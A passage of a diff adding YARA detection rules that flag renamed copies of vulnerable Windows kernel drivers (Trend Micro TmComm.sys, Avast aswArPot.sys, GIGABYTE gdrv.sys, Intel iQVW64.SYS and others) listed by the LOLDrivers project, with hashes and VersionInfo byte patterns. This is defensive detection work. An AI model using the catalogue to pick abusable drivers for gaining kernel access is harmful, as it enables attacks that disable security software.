+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002c00200030002c00200030002c00200034 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002c00200030002c00200030002c00200034 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]007600690072006100670074002e007300790073 } /* InternalName viragtsys */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]005600690072004900540020004100670065006e0074002000530079007300740065006d } /* ProductName VirITAgentSystem */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]00760069007200610067007400360034002e007300790073 } /* OriginalFilename viragtsys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200054004700200053006f0066007400200053002e0061002e0073002e00200032003000310031002c002000320030003100330020002d0020007700770077002e007400670073006f00660074002e00690074 } /* LegalCopyright CopyrightCTGSoftSaswwwtgsoftit */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 100KB and all of them and not filename matches /viragt64/i
+}
+
+
+rule PUA_VULN_Renamed_Driver_Cyreninc_Amp_Cyrenamp_CBB8 {
+	meta:
+		description = "Detects renamed vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - amp.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "cbb8239a765bf5b2c1b6a5c8832d2cab8fef5deacadfb65d8ed43ef56d291ab6"
+		date = "2023-06-14"
+		score = 70
+		id = "b964d59a-0fbf-56be-ae31-323431384cf2"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0041004d00500020004d0069006e006900660069006c007400650072 } /* FileDescription AMPMinifilter */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0043005900520045004e00200049006e0063002e } /* CompanyName CYRENInc */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0035002e0034002e00310031002e0031 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0035002e0034002e00310031002e0031 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0041004d0050 } /* InternalName AMP */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0043005900520045004e00200041004d005000200035 } /* ProductName CYRENAMP */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0061006d0070002e007300790073 } /* OriginalFilename ampsys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000a9002000310039003900390020002d00200032003000310034002e00200043005900520045004e00200049006e0063002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e } /* LegalCopyright CopyrightCYRENIncAllrightsreserved */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 200KB and all of them and not filename matches /amp/i
+}
+
+
+rule PUA_VULN_Renamed_Driver_Supermicrocomputerinc_Superbmc_Superbmc_F843 {
+	meta:
+		description = "Detects renamed vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - superbmc.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "f8430bdc6fd01f42217d66d87a3ef6f66cb2700ebb39c4f25c8b851858cc4b35"
+		date = "2023-06-14"
+		score = 70
+		id = "39029753-a7bc-555f-9c5b-075e934f344a"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]007300750070006500720062006d0063 } /* FileDescription superbmc */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]005300750070006500720020004d006900630072006f00200043006f006d00700075007400650072002c00200049006e0063002e } /* CompanyName SuperMicroComputerInc */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0032002e0030002e0030002e0030 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0032002e0030002e0030002e0030 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]007300750070006500720062006d0063 } /* InternalName superbmc */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]007300750070006500720062006d0063 } /* ProductName superbmc */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]007300750070006500720062006d0063002e007300790073 } /* OriginalFilename superbmcsys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f007000790072006900670068007400280063002900200031003900390033002d00320030003100350020005300750070006500720020004d006900630072006f00200043006f006d00700075007400650072002c00200049006e0063002e } /* LegalCopyright CopyrightcSuperMicroComputerInc */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 100KB and all of them and not filename matches /superbmc/i
+}
+
+
+rule PUA_VULN_Renamed_Driver_Avgtechnologiesczsro_Aswarpotsys_Avginternetsecuritysystem_1023 {
+	meta:
+		description = "Detects renamed vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - aswArPot.sys, avgArPot.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "1023dcd4c80db19e9f82f95b1c5e1ddb60db7ac034848dd5cc1c78104a6350f4"
+		date = "2023-06-14"
+		score = 70
+		id = "d3a08d45-760a-538c-93ee-6363e1931b2a"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]00410056004700200061006e0074006900200072006f006f0074006b00690074 } /* FileDescription AVGantirootkit */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]00410056004700200054006500630068006e006f006c006f006700690065007300200043005a002c00200073002e0072002e006f002e } /* CompanyName AVGTechnologiesCZsro */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]00310038002e0031002e0033003800300030002e0030 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]00310038002e0031002e0033003800300030002e0030 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]006100730077004100720050006f0074002e007300790073 } /* InternalName aswArPotsys */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]00410056004700200049006e007400650072006e00650074002000530065006300750072006900740079002000530079007300740065006d0020 } /* ProductName AVGInternetSecuritySystem */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]006100730077004100720050006f0074002e007300790073 } /* OriginalFilename aswArPotsys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200032003000310038002000410056004700200054006500630068006e006f006c006f006700690065007300200043005a002c00200073002e0072002e006f002e } /* LegalCopyright CopyrightCAVGTechnologiesCZsro */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 200KB and all of them and not filename matches /aswArPot/i and not filename matches /avgArPot/i
+}
+
+
+rule PUA_VULN_Renamed_Driver_Intelcorporation_Iqvwsys_Intelriqvwsys_F877 {
+	meta:
+		description = "Detects renamed vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - iQVW64.SYS"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "f877296e8506e6a1acbdacdc5085b18c6842320a2775a329d286bac796f08d54"
+		hash = "de3597ae7196ca8c0750dce296a8a4f58893774f764455a125464766fcc9b3b5"
+		date = "2023-06-14"
+		score = 70
+		id = "0deb0c4b-e67b-5d53-bd95-3d7fd7833958"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0049006e00740065006c0028005200290020004e006500740077006f0072006b0020004100640061007000740065007200200044006900610067006e006f00730074006900630020004400720069007600650072 } /* FileDescription IntelRNetworkAdapterDiagnosticDriver */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0049006e00740065006c00200043006f00720070006f0072006100740069006f006e0020 } /* CompanyName IntelCorporation */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e00300033002e0031002e00300020006200750069006c0074002000620079003a002000570069006e00440044004b } /* FileVersion builtbyWinDDK */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e00300033002e0031002e0030 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]006900510056005700360034002e005300590053 } /* InternalName iQVWSYS */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0049006e00740065006c0028005200290020006900510056005700360034002e005300590053 } /* ProductName IntelRiQVWSYS */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]006900510056005700360034002e005300590053 } /* OriginalFilename iQVWSYS */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200032003000300032002d003200300031003500200049006e00740065006c00200043006f00720070006f0072006100740069006f006e00200041006c006c0020005200690067006800740073002000520065007300650072007600650064002e } /* LegalCopyright CopyrightCIntelCorporationAllRightsReserved */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 100KB and all of them and not filename matches /iQVW64/i
+}
+
+
+rule PUA_VULN_Renamed_Driver_Almicosoftware_Sfdrvxsys_Speedfan_X_AD23 {
+	meta:
+		description = "Detects renamed vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - sfdrvx32.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "ad23d77a38655acb71216824e363df8ac41a48a1a0080f35a0d23aa14b54460b"
+		date = "2023-06-14"
+		score = 70
+		id = "fc2c48af-ca7f-5481-b77a-1378df03f8c6"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]00530070006500650064002000460061006e00200078003300320020004400720069007600650072 } /* FileDescription SpeedFanxDriver */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0041006c006d00690063006f00200053006f006600740077006100720065 } /* CompanyName AlmicoSoftware */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]00580034002e00340033002e00300034 } /* FileVersion X */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]00580034002e00340033002e00300034 } /* ProductVersion X */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]00730066006400720076007800330032002e007300790073 } /* InternalName sfdrvxsys */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]00530070006500650064002000460061006e } /* ProductName SpeedFan */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]00730066006400720076007800330032002e007300790073 } /* OriginalFilename sfdrvxsys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000a900200041006c006d00690063006f00200053006f00660074007700610072006500200032003000300031002d0032003000310030 } /* LegalCopyright CopyrightAlmicoSoftware */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 100KB and all of them and not filename matches /sfdrvx32/i
+}
+
+
+rule PUA_VULN_Renamed_Driver_Asustekcomputerinc_Atsziosys_Atsziodriver_1A4F {
+	meta:
+		description = "Detects renamed vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - ATSZIO.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "1a4f7d7926efc3e3488758ce318246ea78a061bde759ec6c906ff005dd8213e5"
+		hash = "0da746e49fd662be910d0e366934a7e02898714eaaa577e261ab40eb44222b5c"
+		hash = "e32ab30d01dcff6418544d93f99ae812d2ce6396e809686620547bea05074f6f"
+		hash = "01e024cb14b34b6d525c642a710bfa14497ea20fd287c39ba404b10a8b143ece"
+		hash = "ecfc52a22e4a41bf53865b0e28309411c60af34a44e31a5c53cdc8c5733e8282"
+		date = "2023-06-14"
+		score = 70
+		id = "cc5590d8-d1c0-5abe-86ee-c68bf005031d"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]004100540053005a0049004f0020004400720069007600650072 } /* FileDescription ATSZIODriver */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]004100530055005300540065006b00200043006f006d0070007500740065007200200049006e0063002e } /* CompanyName ASUSTekComputerInc */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0030002e0032002e0031002e0037 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0030002e0032002e0031002e0037 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]004100540053005a0049004f002e007300790073 } /* InternalName ATSZIOsys */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]004100540053005a0049004f0020004400720069007600650072 } /* ProductName ATSZIODriver */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]004100540053005a0049004f002e007300790073 } /* OriginalFilename ATSZIOsys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200032003000310032 } /* LegalCopyright CopyrightC */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 100KB and all of them and not filename matches /ATSZIO/i
+}
+
+
+rule PUA_VULN_Renamed_Driver_Trendmicroinc_Tmcommsys_Trendmicroeyes_BCFC {
+	meta:
+		description = "Detects renamed vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - TmComm.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "bcfc2c9883e6c1b8429be44cc4db988a9eecb544988fbd756d18cfca6201876f"
+		date = "2023-06-14"
+		score = 70
+		id = "515d9838-49af-5f17-aed3-47386b5ea8aa"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]005400720065006e0064004d006900630072006f00200043006f006d006d006f006e0020004d006f00640075006c0065 } /* FileDescription TrendMicroCommonModule */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]005400720065006e00640020004d006900630072006f00200049006e0063002e } /* CompanyName TrendMicroInc */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0037002e00330030002e0030002e0031003000340039 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0037002e00330030 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0054006d0043006f006d006d002e007300790073 } /* InternalName TmCommsys */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]005400720065006e00640020004d006900630072006f00200045007900650073 } /* ProductName TrendMicroEyes */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0054006d0043006f006d006d002e007300790073 } /* OriginalFilename TmCommsys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000200028004300290020002000320030003100370020005400720065006e00640020004d006900630072006f00200049006e0063006f00720070006f00720061007400650064002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e } /* LegalCopyright CopyrightCTrendMicroIncorporatedAllrightsreserved */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 500KB and all of them and not filename matches /TmComm/i
+}
+
+
+rule PUA_VULN_Renamed_Driver_Windowsrddkprovider_Gdrvsys_Windowsrddkdriver_F4FF {
+	meta:
+		description = "Detects renamed vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - gdrv.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "f4ff679066269392f6b7c3ba6257fc60dd609e4f9c491b00e1a16e4c405b0b9b"
+		hash = "cfc5c585dd4e592dd1a08887ded28b92d9a5820587b6f4f8fa4f56d60289259b"
+		date = "2023-06-14"
+		score = 70
+		id = "5b79a437-d01b-588e-9ebb-b9ec5eaaffcc"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0047004900470041004200590054004500200054006f006f006c0073 } /* FileDescription GIGABYTETools */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]00570069006e0064006f00770073002000280052002900200032003000300030002000440044004b002000700072006f00760069006400650072 } /* CompanyName WindowsRDDKprovider */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0035002e00300030002e0032003100390035002e0031003600320030 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0035002e00300030002e0032003100390035002e0031003600320030 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0067006400720076002e007300790073 } /* InternalName gdrvsys */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]00570069006e0064006f00770073002000280052002900200032003000300030002000440044004b0020006400720069007600650072 } /* ProductName WindowsRDDKdriver */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0067006400720076002e007300790073 } /* OriginalFilename gdrvsys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f007000790072006900670068007400200028004300290020004d006900630072006f0073006f0066007400200043006f00720070002e00200031003900380031002d0031003900390039 } /* LegalCopyright CopyrightCMicrosoftCorp */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 100KB and all of them and not filename matches /gdrv/i
+}
+
+
+rule PUA_VULN_Renamed_Driver_Trendmicroinc_Tmcommsys_Trendmicroeyes_DBC6 {
+	meta:
+		description = "Detects renamed vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - TmComm.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "dbc604b4e01362a3e51357af4a87686834fe913852a4e0a8c0d4c1a0f7d076ed"
+		date = "2023-06-14"
+		score = 70
+		id = "a949774e-d4d6-50bb-b95c-b9964f2c9054"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]005400720065006e0064004d006900630072006f00200043006f006d006d006f006e0020004d006f00640075006c0065 } /* FileDescription TrendMicroCommonModule */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]005400720065006e00640020004d006900630072006f00200049006e0063002e } /* CompanyName TrendMicroInc */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0036002e00350030002e0030002e0031003000340031 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0036002e00350030 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0054006d0043006f006d006d002e007300790073 } /* InternalName TmCommsys */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]005400720065006e00640020004d006900630072006f00200045007900650073 } /* ProductName TrendMicroEyes */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0054006d0043006f006d006d002e007300790073 } /* OriginalFilename TmCommsys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f00700079007200690067006800740020002800430029002000320030003100340020005400720065006e00640020004d006900630072006f00200049006e0063006f00720070006f00720061007400650064002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e } /* LegalCopyright CopyrightCTrendMicroIncorporatedAllrightsreserved */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 300KB and all of them and not filename matches /TmComm/i
+}
+
+
+rule PUA_VULN_Renamed_Driver_Corsairmemoryinc_Corsairllaccess_Corsairllaccess_F15A {
+	meta:
+		description = "Detects renamed vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - CorsairLLAccess64.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "f15ae970e222ce06dbf3752b223270d0e726fb78ebec3598b4f8225b5a0880b1"
+		date = "2023-06-14"
+		score = 70
+		id = "6effbb24-7e9f-5ba2-85fc-348719c1875d"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0043006f007200730061006900720020004c004c0020004100630063006500730073 } /* FileDescription CorsairLLAccess */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0043006f007200730061006900720020004d0065006d006f00720079002c00200049006e0063002e } /* CompanyName CorsairMemoryInc */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e0030002e00310035002e0030 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e0030002e00310035002e0030 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0043006f007200730061006900720020004c004c0020004100630063006500730073 } /* InternalName CorsairLLAccess */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0043006f007200730061006900720020004c004c0020004100630063006500730073 } /* ProductName CorsairLLAccess */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0043006f007200730061006900720020004c004c0020004100630063006500730073 } /* OriginalFilename CorsairLLAccess */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f007200730061006900720020004d0065006d006f00720079002c00200049006e0063002e002000280063002900200032003000310039002c00200041006c006c0020007200690067006800740073002000720065007300650072007600650064 } /* LegalCopyright CorsairMemoryInccAllrightsreserved */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 100KB and all of them and not filename matches /CorsairLLAccess64/i
+}
+
+
+rule PUA_VULN_Renamed_Driver_Trendmicroinc_Tmcommsys_Trendmicroeyes_4E37 {
+	meta:
+		description = "Detects renamed vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - TmComm.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "4e37592a2a415f520438330c32cfbdbd6af594deef5290b2fa4b9722b898ff69"
+		date = "2023-06-14"
+		score = 70
+		id = "8d7f71b6-6477-58ed-8840-01f1431354d3"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]005400720065006e0064004d006900630072006f00200043006f006d006d006f006e0020004d006f00640075006c0065 } /* FileDescription TrendMicroCommonModule */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]005400720065006e00640020004d006900630072006f00200049006e0063002e } /* CompanyName TrendMicroInc */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0036002e00370030002e0030002e0031003100340030 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0036002e00370030 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0054006d0043006f006d006d002e007300790073 } /* InternalName TmCommsys */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]005400720065006e00640020004d006900630072006f00200045007900650073 } /* ProductName TrendMicroEyes */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0054006d0043006f006d006d002e007300790073 } /* OriginalFilename TmCommsys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000200028004300290020002000320030003200310020005400720065006e00640020004d006900630072006f00200049006e0063006f00720070006f00720061007400650064002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e } /* LegalCopyright CopyrightCTrendMicroIncorporatedAllrightsreserved */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 300KB and all of them and not filename matches /TmComm/i
+}
+
+
+rule PUA_VULN_Renamed_Driver_Trendmicroinc_Tmcommsys_Trendmicroeyes_ECD0 {
+	meta:
+		description = "Detects renamed vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - TmComm.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "ecd07df7ad6fee9269a9e9429eb199bf3e24cf672aa1d013b7e8d90d75324566"
+		date = "2023-06-14"
+		score = 70
+		id = "dd403a42-674c-55b6-b22e-1b6abd0d64ad"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]005400720065006e0064004d006900630072006f00200043006f006d006d006f006e0020004d006f00640075006c0065 } /* FileDescription TrendMicroCommonModule */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]005400720065006e00640020004d006900630072006f00200049006e0063002e } /* CompanyName TrendMicroInc */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0037002e0030002e0030002e0031003100370036 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0037002e0030 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0054006d0043006f006d006d002e007300790073 } /* InternalName TmCommsys */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]005400720065006e00640020004d006900630072006f00200045007900650073 } /* ProductName TrendMicroEyes */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0054006d0043006f006d006d002e007300790073 } /* OriginalFilename TmCommsys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000200028004300290020002000320030003100390020005400720065006e00640020004d006900630072006f00200049006e0063006f00720070006f00720061007400650064002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e } /* LegalCopyright CopyrightCTrendMicroIncorporatedAllrightsreserved */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 400KB and all of them and not filename matches /TmComm/i
+}
+
+
+rule PUA_VULN_Renamed_Driver_Avastsoftware_Aswarpot_Avastantivirus_36E3 {
+	meta:
+		description = "Detects renamed vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - aswArPot.sys, avgArPot.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "36e3127f045ef1fa7426a3ff8c441092d3b66923d2b69826034e48306609e289"
+		date = "2023-06-14"
+		score = 70
+		id = "4a38e7a2-564f-5e50-85ee-cd0d60a7e584"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0041007600610073007400200041006e0074006900200052006f006f0074006b00690074 } /* FileDescription AvastAntiRootkit */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0041005600410053005400200053006f006600740077006100720065 } /* CompanyName AVASTSoftware */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]00320030002e0033002e00360038002e0030 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]00320030002e0033002e00360038002e0030 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]006100730077004100720050006f0074 } /* InternalName aswArPot */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0041007600610073007400200041006e00740069007600690072007500730020 } /* ProductName AvastAntivirus */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]006100730077004100720050006f0074002e007300790073 } /* OriginalFilename aswArPotsys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f007000790072006900670068007400200028006300290020003200300032003000200041005600410053005400200053006f006600740077006100720065 } /* LegalCopyright CopyrightcAVASTSoftware */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 300KB and all of them and not filename matches /aswArPot/i and not filename matches /avgArPot/i
+}
+
+
+rule PUA_VULN_Renamed_Driver_Trendmicroinc_Tmcommsys_Trendmicroeyes_FDA9 {
+	meta:
+		description = "Detects renamed vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - TmComm.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "fda93c6e41212e86af07f57ca95db841161f00b08dae6304a51b467056e56280"
+		date = "2023-06-14"
+		score = 70
+		id = "3f866c44-1ed4-5b68-b137-6c5867dbd23c"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]005400720065006e0064004d006900630072006f00200043006f006d006d006f006e0020004d006f00640075006c0065 } /* FileDescription TrendMicroCommonModule */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]005400720065006e00640020004d006900630072006f00200049006e0063002e } /* CompanyName TrendMicroInc */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0036002e00370030002e0030002e0031003100310037 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0036002e00370030 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0054006d0043006f006d006d002e007300790073 } /* InternalName TmCommsys */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]005400720065006e00640020004d006900630072006f00200045007900650073 } /* ProductName TrendMicroEyes */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0054006d0043006f006d006d002e007300790073 } /* OriginalFilename TmCommsys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000200028004300290020002000320030003100390020005400720065006e00640020004d006900630072006f00200049006e0063006f00720070006f00720061007400650064002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e } /* LegalCopyright CopyrightCTrendMicroIncorporatedAllrightsreserved */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 400KB and all of them and not filename matches /TmComm/i
+}
+
+
+rule PUA_VULN_Renamed_Driver_Biostargroup_Iodriver_Biostariodriver_D205 {
+	meta:
+		description = "Detects renamed vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - BS_RCIO64.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "d205286bffdf09bc033c09e95c519c1c267b40c2ee8bab703c6a2d86741ccd3e"
+		date = "2023-06-14"
+		score = 70
+		id = "e20746e7-2863-50ad-9b62-2a0e68a229be"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0049002f004f00200049006e00740065007200660061006300650020006400720069007600650072002000660069006c0065 } /* FileDescription IOInterfacedriverfile */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]00420049004f0053005400410052002000470072006f00750070 } /* CompanyName BIOSTARGroup */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]00310030002e0030002e0031003900300031002e0031003100300030 } /* FileVersion  */
